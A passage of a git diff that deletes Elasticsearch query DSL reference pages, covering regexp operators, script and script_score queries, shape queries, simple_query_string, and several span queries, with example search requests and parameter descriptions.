-OR operator. The match will succeed if the longest pattern on either the left
-side OR the right side matches. For example:
-....
-abc|xyz  # matches 'abc' and 'xyz'
-....
---
-
-`( … )`::
-+
---
-Forms a group. You can use a group to treat part of the expression as a single
-character. For example:
-
-....
-abc(def)?  # matches 'abc' and 'abcdef' but not 'abcd'
-....
---
-
-`[ … ]`::
-+
---
-Match one of the characters in the brackets. For example:
-
-....
-[abc]   # matches 'a', 'b', 'c'
-....
-
-Inside the brackets, `-` indicates a range unless `-` is the first character or
-escaped. For example:
-
-....
-[a-c]   # matches 'a', 'b', or 'c'
-[-abc]  # '-' is first character. Matches '-', 'a', 'b', or 'c'
-[abc\-] # Escapes '-'. Matches 'a', 'b', 'c', or '-'
-....
-
-A `^` before a character in the brackets negates the character or range. For
-example:
-
-....
-[^abc]      # matches any character except 'a', 'b', or 'c'
-[^a-c]      # matches any character except 'a', 'b', or 'c'
-[^-abc]     # matches any character except '-', 'a', 'b', or 'c'
-[^abc\-]    # matches any character except 'a', 'b', 'c', or '-'
-....
---
-
-[discrete]
-[[regexp-optional-operators]]
-=== Optional operators
-
-You can use the `flags` parameter to enable more optional operators for
-Lucene's regular expression engine.
-
-To enable multiple operators, use a `|` separator. For example, a `flags` value
-of `COMPLEMENT|INTERVAL` enables the `COMPLEMENT` and `INTERVAL` operators.
-
-[discrete]
-==== Valid values 
-
-`ALL` (Default)::
-Enables all optional operators.
-
-`COMPLEMENT`::
-+
---
-Enables the `~` operator. You can use `~` to negate the shortest following
-pattern. For example:
-
-....
-a~bc   # matches 'adc' and 'aec' but not 'abc'
-....
---
-
-`INTERVAL`::
-+
---
-Enables the `<>` operators. You can use `<>` to match a numeric range. For
-example:
-
-....
-foo<1-100>      # matches 'foo1', 'foo2' ... 'foo99', 'foo100'
-foo<01-100>     # matches 'foo01', 'foo02' ... 'foo99', 'foo100'
-....
---
-
-`INTERSECTION`::
-+
---
-Enables the `&` operator, which acts as an AND operator. The match will succeed
-if patterns on both the left side AND the right side matches. For example:
-
-....
-aaa.+&.+bbb  # matches 'aaabbb'
-....
---
-
-`ANYSTRING`::
-+
---
-Enables the `@` operator. You can use `@` to match any entire
-string.
-
-You can combine the `@` operator with `&` and `~` operators to create an
-"everything except" logic. For example:
-
-....
-@&~(abc.+)  # matches everything except terms beginning with 'abc'
-....
---
-
-[discrete]
-[[regexp-unsupported-operators]]
-=== Unsupported operators
-Lucene's regular expression engine does not support anchor operators, such as
-`^` (beginning of line) or `$` (end of line). To match a term, the regular
-expression must match the entire string.
diff --git a/docs/reference/query-dsl/script-query.asciidoc b/docs/reference/query-dsl/script-query.asciidoc
deleted file mode 100644
index cba078b5fc2..00000000000
--- a/docs/reference/query-dsl/script-query.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[[query-dsl-script-query]]
-=== Script query
-++++
-<titleabbrev>Script</titleabbrev>
-++++
-
-Filters documents based on a provided <<modules-scripting-using,script>>. The
-`script` query is typically used in a <<query-filter-context,filter context>>.
-
-WARNING: Using scripts can result in slower search speeds. See
-<<scripts-and-search-speed>>.
-
-
-[[script-query-ex-request]]
-==== Example request
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "bool": {
-      "filter": {
-        "script": {
-          "script": {
-            "source": "doc['num1'].value > 1",
-            "lang": "painless"
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-
-[[script-top-level-params]]
-==== Top-level parameters for `script`
-
-`script`::
-(Required, <<modules-scripting-using, script object>>) Contains a script to run
-as a query. This script must return a boolean value, `true` or `false`.
-
-[[script-query-notes]]
-==== Notes
-
-[[script-query-custom-params]]
-===== Custom Parameters
-
-Like <<query-filter-context,filters>>, scripts are cached for faster execution.
-If you frequently change the arguments of a script, we recommend you store them
-in the script's `params` parameter. For example:
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "bool": {
-      "filter": {
-        "script": {
-          "script": {
-            "source": "doc['num1'].value > params.param1",
-            "lang": "painless",
-            "params": {
-              "param1": 5
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----
-
-===== Allow expensive queries
-Script queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
diff --git a/docs/reference/query-dsl/script-score-query.asciidoc b/docs/reference/query-dsl/script-score-query.asciidoc
deleted file mode 100644
index 56930ba1252..00000000000
--- a/docs/reference/query-dsl/script-score-query.asciidoc
+++ /dev/null
@@ -1,369 +0,0 @@
-[[query-dsl-script-score-query]]
-=== Script score query
-++++
-<titleabbrev>Script score</titleabbrev>
-++++
-
-Uses a <<modules-scripting,script>> to provide a custom score for returned
-documents.
-
-The `script_score` query is useful if, for example, a scoring function is expensive and you only need to calculate the score of a filtered set of documents.
-
-
-[[script-score-query-ex-request]]
-==== Example request
-The following `script_score` query assigns each returned document a score equal to the `my-int` field value divided by `10`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "script_score": {
-      "query": {
-        "match": { "message": "elasticsearch" }
-      },
-      "script": {
-        "source": "doc['my-int'].value / 10 "
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-[[script-score-top-level-params]]
-==== Top-level parameters for `script_score`
-`query`::
-(Required, query object) Query used to return documents.
-
-`script`::
-+
---
-(Required, <<modules-scripting-using,script object>>) Script used to compute the score of documents returned by the `query`.
-
-IMPORTANT: Final relevance scores from the `script_score` query cannot be
-negative. To support certain search optimizations, Lucene requires
-scores be positive or `0`.
---
-
-`min_score`::
-(Optional, float) Documents with a score lower
-than this floating point number are excluded from the search results.
-
-`boost`::
-(Optional, float) Documents' scores produced by `script` are
-multiplied by `boost` to produce final documents' scores. Defaults to `1.0`.
-
-[[script-score-query-notes]]
-==== Notes
-
-[[script-score-access-scores]]
-===== Use relevance scores in a script
-
-Within a script, you can
-{ref}/modules-scripting-fields.html#scripting-score[access] 
-the `_score` variable which represents the current relevance score of a
-document.
-
-[[script-score-predefined-functions]]
-===== Predefined functions
-You can use any of the available {painless}/painless-contexts.html[painless
-functions] in your `script`. You can also use the following predefined functions
-to customize scoring:
-
-* <<script-score-saturation>>
-* <<script-score-sigmoid>>
-* <<random-score-function>>
-* <<decay-functions-numeric-fields>>
-* <<decay-functions-geo-fields>>
-* <<decay-functions-date-fields>>
-* <<script-score-functions-vector-fields>>
-
-We suggest using these predefined functions instead of writing your own.
-These functions take advantage of efficiencies from {es}' internal mechanisms.
-
-[[script-score-saturation]]
-====== Saturation
-`saturation(value,k) = value/(k + value)`
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "saturation(doc['my-int'].value, 1)"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[script-score-sigmoid]]
-====== Sigmoid
-`sigmoid(value, k, a) = value^a/ (k^a + value^a)`
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "sigmoid(doc['my-int'].value, 2, 1)"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[random-score-function]]
-====== Random score function
-`random_score` function generates scores that are uniformly distributed
-from 0 up to but not including 1.
-
-`randomScore` function has the following syntax:
-`randomScore(<seed>, <fieldName>)`.
-It has a required parameter - `seed` as an integer value,
-and an optional parameter - `fieldName` as a string value.
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "randomScore(100, '_seq_no')"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If the `fieldName` parameter is omitted, the internal Lucene
-document ids will be used as a source of randomness. This is very efficient,
-but unfortunately not reproducible since documents might be renumbered
-by merges.
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "randomScore(100)"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Note that documents that are within the same shard and have the
-same value for field will get the same score, so it is usually desirable
-to use a field that has unique values for all documents across a shard.
-A good default choice might be to use the `_seq_no`
-field, whose only drawback is that scores will change if the document is
-updated since update operations also update the value of the `_seq_no` field.
-
-
-[[decay-functions-numeric-fields]]
-====== Decay functions for numeric fields
-You can read more about decay functions 
-{ref}/query-dsl-function-score-query.html#function-decay[here].
-
-* `double decayNumericLinear(double origin, double scale, double offset, double decay, double docValue)`
-* `double decayNumericExp(double origin, double scale, double offset, double decay, double docValue)`
-* `double decayNumericGauss(double origin, double scale, double offset, double decay, double docValue)`
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "decayNumericLinear(params.origin, params.scale, params.offset, params.decay, doc['dval'].value)",
-    "params": { <1>
-        "origin": 20,
-        "scale": 10,
-        "decay" : 0.5,
-        "offset" : 0
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Using `params` allows to compile the script only once, even if params change.
-
-[[decay-functions-geo-fields]]
-====== Decay functions for geo fields
-
-* `double decayGeoLinear(String originStr, String scaleStr, String offsetStr, double decay, GeoPoint docValue)`
-
-* `double decayGeoExp(String originStr, String scaleStr, String offsetStr, double decay, GeoPoint docValue)`
-
-* `double decayGeoGauss(String originStr, String scaleStr, String offsetStr, double decay, GeoPoint docValue)`
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "decayGeoExp(params.origin, params.scale, params.offset, params.decay, doc['location'].value)",
-    "params": {
-        "origin": "40, -70.12",
-        "scale": "200km",
-        "offset": "0km",
-        "decay" : 0.2
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[decay-functions-date-fields]]
-====== Decay functions for date fields
-
-* `double decayDateLinear(String originStr, String scaleStr, String offsetStr, double decay, JodaCompatibleZonedDateTime docValueDate)`
-
-* `double decayDateExp(String originStr, String scaleStr, String offsetStr, double decay, JodaCompatibleZonedDateTime docValueDate)`
-
-* `double decayDateGauss(String originStr, String scaleStr, String offsetStr, double decay, JodaCompatibleZonedDateTime docValueDate)`
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "decayDateGauss(params.origin, params.scale, params.offset, params.decay, doc['date'].value)",
-    "params": {
-        "origin": "2008-01-01T01:00:00Z",
-        "scale": "1h",
-        "offset" : "0",
-        "decay" : 0.5
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-NOTE: Decay functions on dates are limited to dates in the default format
-and default time zone. Also calculations with `now` are not supported.
-
-[[script-score-functions-vector-fields]]
-====== Functions for vector fields
-<<vector-functions, Functions for vector fields>> are accessible through
-`script_score` query.
-
-===== Allow expensive queries
-Script score queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
-
-[[script-score-faster-alt]]
-===== Faster alternatives
-The `script_score` query calculates the score for
-every matching document, or hit. There are faster alternative query types that
-can efficiently skip non-competitive hits:
-
-* If you want to boost documents on some static fields, use the 
- <<query-dsl-rank-feature-query, `rank_feature`>> query.
- * If you want to boost documents closer to a date or geographic point, use the
- <<query-dsl-distance-feature-query, `distance_feature`>> query.
-
-[[script-score-function-score-transition]]
-===== Transition from the function score query
-We are deprecating the <<query-dsl-function-score-query, `function_score`>>
-query. We recommend using the `script_score` query instead.
-
-You can implement the following functions from the `function_score` query using
-the `script_score` query:
-
-* <<script-score>>
-* <<weight>>
-* <<random-score>>
-* <<field-value-factor>>
-* <<decay-functions>>
-
-[[script-score]]
-====== `script_score`
-What you used in `script_score` of the Function Score query, you
-can copy into the Script Score query. No changes here.
-
-[[weight]]
-====== `weight`
-`weight` function can be implemented in the Script Score query through
-the following script:
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "params.weight * _score",
-    "params": {
-        "weight": 2
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[random-score]]
-====== `random_score`
-
-Use `randomScore` function
-as described in <<random-score-function, random score function>>.
-
-[[field-value-factor]]
-====== `field_value_factor`
-`field_value_factor` function can be easily implemented through script:
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "Math.log10(doc['field'].value * params.factor)",
-    "params" : {
-        "factor" : 5
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-For checking if a document has a missing value, you can use
-`doc['field'].size() == 0`. For example, this script will use
-a value `1` if a document doesn't have a field `field`:
-
-[source,js]
---------------------------------------------------
-"script" : {
-    "source" : "Math.log10((doc['field'].size() == 0 ? 1 : doc['field'].value()) * params.factor)",
-    "params" : {
-        "factor" : 5
-    }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-This table lists how `field_value_factor` modifiers can be implemented
-through a script:
-
-[cols="<,<",options="header",]
-|=======================================================================
-| Modifier | Implementation in Script Score
-
-| `none` | -
-| `log` |  `Math.log10(doc['f'].value)`
-| `log1p` | `Math.log10(doc['f'].value + 1)`
-| `log2p` | `Math.log10(doc['f'].value + 2)`
-| `ln` | `Math.log(doc['f'].value)`
-| `ln1p` | `Math.log(doc['f'].value + 1)`
-| `ln2p` | `Math.log(doc['f'].value + 2)`
-| `square` | `Math.pow(doc['f'].value, 2)`
-| `sqrt` | `Math.sqrt(doc['f'].value)`
-| `reciprocal` | `1.0 / doc['f'].value`
-|=======================================================================
-
-[[decay-functions]]
-====== `decay` functions
-The `script_score` query has equivalent <<decay-functions, decay functions>>
-that can be used in script.
-
-include::{es-repo-dir}/vectors/vector-functions.asciidoc[]
-
-[[score-explanation]]
-====== Explain request
-Using an <<search-explain, explain request>> provides an explanation of how the parts of a score were computed. The `script_score` query can add its own explanation by setting the `explanation` parameter:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_explain/0
-{
-  "query": {
-    "script_score": {
-      "query": {
-        "match": { "message": "elasticsearch" }
-      },
-      "script": {
-        "source": """
-          long count = doc['count'].value;
-          double normalizedCount = count / 10;
-          if (explanation != null) {
-            explanation.set('normalized count = count / 10 = ' + count + ' / 10 = ' + normalizedCount);
-          }
-          return normalizedCount;
-        """
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-Note that the `explanation` will be null when using in a normal `_search` request, so having a conditional guard is best practice.
diff --git a/docs/reference/query-dsl/shape-queries.asciidoc b/docs/reference/query-dsl/shape-queries.asciidoc
deleted file mode 100644
index 2e44069c066..00000000000
--- a/docs/reference/query-dsl/shape-queries.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[[shape-queries]]
-[role="xpack"]
-[testenv="basic"]
-== Shape queries
-
-
-Like <<geo-shape,`geo_shape`>> Elasticsearch supports the ability to index
-arbitrary two dimension (non Geospatial) geometries making it possible to
-map out virtual worlds, sporting venues, theme parks, and CAD diagrams.
-
-Elasticsearch supports two types of cartesian data:
-<<point,`point`>> fields which support x/y pairs, and
-<<shape,`shape`>> fields, which support points, lines, circles, polygons, multi-polygons, etc.
-
-The queries in this group are:
-
-<<query-dsl-shape-query,`shape`>> query::
-Finds documents with:
-* `shapes` which either intersect, are contained by, are within or do not intersect
-with the specified shape
-* `points` which intersect the specified shape
-
-include::shape-query.asciidoc[]
diff --git a/docs/reference/query-dsl/shape-query.asciidoc b/docs/reference/query-dsl/shape-query.asciidoc
deleted file mode 100644
index 86ec64ff08e..00000000000
--- a/docs/reference/query-dsl/shape-query.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[query-dsl-shape-query]]
-[role="xpack"]
-[testenv="basic"]
-=== Shape query
-++++
-<titleabbrev>Shape</titleabbrev>
-++++
-
-Queries documents that contain fields indexed using the `shape` type.
-
-Requires the <<shape,`shape` Mapping>>.
-
-The query supports two ways of defining the target shape, either by
-providing a whole shape definition, or by referencing the name, or id, of a shape
-pre-indexed in another index. Both formats are defined below with
-examples.
-
-==== Inline Shape Definition
-
-Similar to the `geo_shape` query, the `shape` query uses
-http://geojson.org[GeoJSON] or
-{wikipedia}/Well-known_text_representation_of_geometry[Well Known Text]
-(WKT) to represent shapes.
-
-Given the following index:
-
-[source,console]
---------------------------------------------------
-PUT /example
-{
-  "mappings": {
-    "properties": {
-      "geometry": {
-        "type": "shape"
-      }
-    }
-  }
-}
-
-PUT /example/_doc/1?refresh=wait_for
-{
-  "name": "Lucky Landing",
-  "geometry": {
-    "type": "point",
-    "coordinates": [ 1355.400544, 5255.530286 ]
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-The following query will find the point using the Elasticsearch's
-`envelope` GeoJSON extension:
-
-[source,console]
---------------------------------------------------
-GET /example/_search
-{
-  "query": {
-    "shape": {
-      "geometry": {
-        "shape": {
-          "type": "envelope",
-          "coordinates": [ [ 1355.0, 5355.0 ], [ 1400.0, 5200.0 ] ]
-        },
-        "relation": "within"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-////
-[source,console-result]
---------------------------------------------------
-{
-  "took": 3,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 0.0,
-    "hits": [
-      {
-        "_index": "example",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.0,
-        "_source": {
-          "name": "Lucky Landing",
-          "geometry": {
-            "type": "point",
-            "coordinates": [
-              1355.400544,
-              5255.530286
-            ]
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 3/"took": $body.took/]
-////
-
-==== Pre-Indexed Shape
-
-The Query also supports using a shape which has already been indexed in
-another index. This is particularly useful for when
-you have a pre-defined list of shapes which are useful to your
-application and you want to reference this using a logical name (for
-example 'New Zealand') rather than having to provide their coordinates
-each time. In this situation it is only necessary to provide:
-
-* `id` - The ID of the document that containing the pre-indexed shape.
-* `index` - Name of the index where the pre-indexed shape is. Defaults
-to 'shapes'.
-* `path` - The field specified as path containing the pre-indexed shape.
-Defaults to 'shape'.
-* `routing` - The routing of the shape document if required.
-
-The following is an example of using the Filter with a pre-indexed
-shape:
-
-[source,console]
---------------------------------------------------
-PUT /shapes
-{
-  "mappings": {
-    "properties": {
-      "geometry": {
-        "type": "shape"
-      }
-    }
-  }
-}
-
-PUT /shapes/_doc/footprint
-{
-  "geometry": {
-    "type": "envelope",
-    "coordinates": [ [ 1355.0, 5355.0 ], [ 1400.0, 5200.0 ] ]
-  }
-}
-
-GET /example/_search
-{
-  "query": {
-    "shape": {
-      "geometry": {
-        "indexed_shape": {
-          "index": "shapes",
-          "id": "footprint",
-          "path": "geometry"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-==== Spatial Relations
-
-The following is a complete list of spatial relation operators available:
-
-* `INTERSECTS` - (default) Return all documents whose `shape` field
-intersects the query geometry.
-* `DISJOINT` - Return all documents whose `shape` field
-has nothing in common with the query geometry.
-* `WITHIN` - Return all documents whose `shape` field
-is within the query geometry.
-* `CONTAINS` - Return all documents whose `shape` field
-contains the query geometry.
-
-[discrete]
-==== Ignore Unmapped
-
-When set to `true` the `ignore_unmapped` option will ignore an unmapped field
-and will not match any documents for this query. This can be useful when
-querying multiple indexes which might have different mappings. When set to
-`false` (the default value) the query will throw an exception if the field
-is not mapped.
diff --git a/docs/reference/query-dsl/simple-query-string-query.asciidoc b/docs/reference/query-dsl/simple-query-string-query.asciidoc
deleted file mode 100644
index 7b79e82f9ab..00000000000
--- a/docs/reference/query-dsl/simple-query-string-query.asciidoc
+++ /dev/null
@@ -1,309 +0,0 @@
-[[query-dsl-simple-query-string-query]]
-=== Simple query string query
-++++
-<titleabbrev>Simple query string</titleabbrev>
-++++
-
-Returns documents based on a provided query string, using a parser with a
-limited but fault-tolerant syntax.
-
-This query uses a <<simple-query-string-syntax,simple syntax>> to parse and
-split the provided query string into terms based on special operators. The query
-then <<analysis,analyzes>> each term independently before returning matching
-documents.
-
-While its syntax is more limited than the
-<<query-dsl-query-string-query,`query_string` query>>, the `simple_query_string`
-query does not return errors for invalid syntax. Instead, it ignores any invalid
-parts of the query string.
-
-[[simple-query-string-query-ex-request]]
-==== Example request
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "simple_query_string" : {
-        "query": "\"fried eggs\" +(eggplant | potato) -frittata",
-        "fields": ["title^5", "body"],
-        "default_operator": "and"
-    }
-  }
-}
---------------------------------------------------
-
-
-[[simple-query-string-top-level-params]]
-==== Top-level parameters for `simple_query_string`
-
-`query`::
-(Required, string) Query string you wish to parse and use for search. See <<simple-query-string-syntax>>.
-
-`fields`::
-+
---
-(Optional, array of strings) Array of fields you wish to search.
-
-This field accepts wildcard expressions. You also can boost relevance scores for
-matches to particular fields using a caret (`^`) notation. See
-<<simple-query-string-boost>> for examples.
-
-Defaults to the `index.query.default_field` index setting, which has a default
-value of `*`. The `*` value extracts all fields that are eligible to term
-queries and filters the metadata fields. All extracted fields are then combined
-to build a query if no `prefix` is specified.
-
-WARNING: There is a limit on the number of fields that can be queried at once.
-It is defined by the `indices.query.bool.max_clause_count`
-<<search-settings,search setting>>, which defaults to `1024`.
---
-
-`default_operator`::
-+
---
-(Optional, string) Default boolean logic used to interpret text in the query
-string if no operators are specified. Valid values are:
-
-`OR` (Default)::
-For example, a query string of `capital of Hungary` is interpreted as `capital
-OR of OR Hungary`.
-
-`AND`::
-For example, a query string of `capital of Hungary` is interpreted as `capital
-AND of AND Hungary`.
---
-
-`all_fields`::
-deprecated:[6.0.0, set `fields` to `*` instead](Optional, boolean) If `true`,
-search all searchable fields in the index's field mapping.
-
-`analyze_wildcard`::
-(Optional, Boolean) If `true`, the query attempts to analyze wildcard terms in
-the query string. Defaults to `false`.
-
-`analyzer`::
-(Optional, string) <<analysis,Analyzer>> used to convert text in the
-query string into tokens. Defaults to the
-<<specify-index-time-analyzer,index-time analyzer>> mapped for the
-`default_field`. If no analyzer is mapped, the index's default analyzer is used.
-
-`auto_generate_synonyms_phrase_query`::
-(Optional, Boolean) If `true`, <<query-dsl-match-query-phrase,match phrase>>
-queries are automatically created for multi-term synonyms. Defaults to `true`.
-See <<simple-query-string-synonyms>> for an example.
-
-`flags`::
-(Optional, string) List of enabled operators for the
-<<simple-query-string-syntax,simple query string syntax>>. Defaults to `ALL`
-(all operators). See <<supported-flags>> for valid values.
-
-`fuzzy_max_expansions`::
-(Optional, integer) Maximum number of terms to which the query expands for fuzzy
-matching. Defaults to `50`.
-
-`fuzzy_prefix_length`::
-(Optional, integer) Number of beginning characters left unchanged for fuzzy
-matching. Defaults to `0`.
-
-`fuzzy_transpositions`::
-(Optional, Boolean) If `true`, edits for fuzzy matching include
-transpositions of two adjacent characters (ab → ba). Defaults to `true`.
-
-`lenient`::
-(Optional, Boolean) If `true`, format-based errors, such as providing a text
-value for a <<number,numeric>> field, are ignored. Defaults to `false`.
-
-`minimum_should_match`::
-(Optional, string) Minimum number of clauses that must match for a document to
-be returned. See the <<query-dsl-minimum-should-match, `minimum_should_match`
-parameter>> for valid values and more information.
-
-`quote_field_suffix`::
-+
---
-(Optional, string) Suffix appended to quoted text in the query string.
-
-You can use this suffix to use a different analysis method for exact matches.
-See <<mixing-exact-search-with-stemming>>.
---
-
-
-[[simple-query-string-query-notes]]
-==== Notes
-
-[[simple-query-string-syntax]]
-===== Simple query string syntax
-The `simple_query_string` query supports the following operators:
-
-* `+` signifies AND operation
-* `|` signifies OR operation
-* `-` negates a single token
-* `"` wraps a number of tokens to signify a phrase for searching
-* `*` at the end of a term signifies a prefix query
-* `(` and `)` signify precedence
-* `~N` after a word signifies edit distance (fuzziness)
-* `~N` after a phrase signifies slop amount
-
-To use one of these characters literally, escape it with a preceding backslash
-(`\`).
-
-The behavior of these operators may differ depending on the `default_operator`
-value. For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "simple_query_string": {
-      "fields": [ "content" ],
-      "query": "foo bar -baz"
-    }
-  }
-}
---------------------------------------------------
-
-This search is intended to only return documents containing `foo` or `bar` that
-also do **not** contain `baz`. However because of a `default_operator` of `OR`,
-this search actually returns documents that contain `foo` or `bar` and any
-documents that don't contain `baz`. To return documents as intended, change the
-query string to `foo bar +-baz`.
-
-[[supported-flags]]
-===== Limit operators
-You can use the `flags` parameter to limit the supported operators for the
-simple query string syntax.
-
-To explicitly enable only specific operators, use a `|` separator. For example,
-a `flags` value of `OR|AND|PREFIX` disables all operators except `OR`, `AND`,
-and `PREFIX`.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "simple_query_string": {
-      "query": "foo | bar + baz*",
-      "flags": "OR|AND|PREFIX"
-    }
-  }
-}
---------------------------------------------------
-
-[[supported-flags-values]]
-====== Valid values
-The available flags are:
-
-`ALL` (Default)::
-Enables all optional operators.
-
-`AND`::
-Enables the `+` AND operator.
-
-`ESCAPE`::
-Enables `\` as an escape character.
-
-`FUZZY`::
-Enables the `~N` operator after a word, where `N` is an integer denoting the
-allowed edit distance for matching. See <<fuzziness>>.
-
-`NEAR`::
-Enables the `~N` operator, after a phrase where `N` is the maximum number of
-positions allowed between matching tokens. Synonymous to `SLOP`. 
-
-`NONE`::
-Disables all operators.
-
-`NOT`::
-Enables the `-` NOT operator.
-
-`OR`::
-Enables the `\|` OR operator.
-
-`PHRASE`::
-Enables the `"` quotes operator used to search for phrases.
-
-`PRECEDENCE`::
-Enables the `(` and `)` operators to control operator precedence.
-
-`PREFIX`::
-Enables the `*` prefix operator.
-
-`SLOP`::
-Enables the `~N` operator, after a phrase where `N` is maximum number of
-positions allowed between matching tokens. Synonymous to `NEAR`.
-
-`WHITESPACE`::
-Enables whitespace as split characters.
-
-[[simple-query-string-boost]]
-===== Wildcards and per-field boosts in the `fields` parameter
-
-Fields can be specified with wildcards, eg:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "simple_query_string" : {
-      "query":    "Will Smith",
-      "fields": [ "title", "*_name" ] <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> Query the `title`, `first_name` and `last_name` fields.
-
-Individual fields can be boosted with the caret (`^`) notation:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "simple_query_string" : {
-      "query" : "this is a test",
-      "fields" : [ "subject^3", "message" ] <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `subject` field is three times as important as the `message` field.
-
-[[simple-query-string-synonyms]]
-===== Synonyms
-
-The `simple_query_string` query supports multi-terms synonym expansion with the <<analysis-synonym-graph-tokenfilter,
-synonym_graph>> token filter. When this filter is used, the parser creates a phrase query for each multi-terms synonyms.
-For example, the following synonym: `"ny, new york"` would produce:
-
-`(ny OR ("new york"))`
-
-It is also possible to match multi terms synonyms with conjunctions instead:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-   "query": {
-       "simple_query_string" : {
-           "query" : "ny city",
-           "auto_generate_synonyms_phrase_query" : false
-       }
-   }
-}
---------------------------------------------------
-
-The example above creates a boolean query:
-
-`(ny OR (new AND york)) city)`
-
-that matches documents with the term `ny` or the conjunction `new AND york`.
-By default the parameter `auto_generate_synonyms_phrase_query` is set to `true`.
-
diff --git a/docs/reference/query-dsl/span-containing-query.asciidoc b/docs/reference/query-dsl/span-containing-query.asciidoc
deleted file mode 100644
index ec1c0bdf0a8..00000000000
--- a/docs/reference/query-dsl/span-containing-query.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[[query-dsl-span-containing-query]]
-=== Span containing query
-++++
-<titleabbrev>Span containing</titleabbrev>
-++++
-
-Returns matches which enclose another span query. The span containing
-query maps to Lucene `SpanContainingQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_containing": {
-      "little": {
-        "span_term": { "field1": "foo" }
-      },
-      "big": {
-        "span_near": {
-          "clauses": [
-            { "span_term": { "field1": "bar" } },
-            { "span_term": { "field1": "baz" } }
-          ],
-          "slop": 5,
-          "in_order": true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The `big` and `little` clauses can be any span type query. Matching
-spans from `big` that contain matches from `little` are returned.
diff --git a/docs/reference/query-dsl/span-field-masking-query.asciidoc b/docs/reference/query-dsl/span-field-masking-query.asciidoc
deleted file mode 100644
index a101c8afc47..00000000000
--- a/docs/reference/query-dsl/span-field-masking-query.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
-[[query-dsl-span-field-masking-query]]
-=== Span field masking query
-++++
-<titleabbrev>Span field masking</titleabbrev>
-++++
-
-Wrapper to allow span queries to participate in composite single-field span queries by 'lying' about their search field. The span field masking query maps to Lucene's `SpanFieldMaskingQuery`
-
-This can be used to support queries like `span-near` or `span-or` across different fields, which is not ordinarily permitted.
-
-Span field masking query is invaluable in conjunction with *multi-fields* when same content is indexed with multiple analyzers. For instance we could index a field with the standard analyzer which breaks text up into words, and again with the english analyzer which stems words into their root form.
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_near": {
-      "clauses": [
-        {
-          "span_term": {
-            "text": "quick brown"
-          }
-        },
-        {
-          "field_masking_span": {
-            "query": {
-              "span_term": {
-                "text.stems": "fox"
-              }
-            },
-            "field": "text"
-          }
-        }
-      ],
-      "slop": 5,
-      "in_order": false
-    }
-  }
-}
---------------------------------------------------
-
-Note: as span field masking query returns the masked field, scoring will be done using the norms of the field name supplied. This may lead to unexpected scoring behaviour.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/span-first-query.asciidoc b/docs/reference/query-dsl/span-first-query.asciidoc
deleted file mode 100644
index 77e3f557fd9..00000000000
--- a/docs/reference/query-dsl/span-first-query.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[[query-dsl-span-first-query]]
-=== Span first query
-++++
-<titleabbrev>Span first</titleabbrev>
-++++
-
-Matches spans near the beginning of a field. The span first query maps
-to Lucene `SpanFirstQuery`. Here is an example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "span_first": {
-      "match": {
-        "span_term": { "user.id": "kimchy" }
-      },
-      "end": 3
-    }
-  }
-}   
---------------------------------------------------
-
-The `match` clause can be any other span type query. The `end` controls
-the maximum end position permitted in a match.
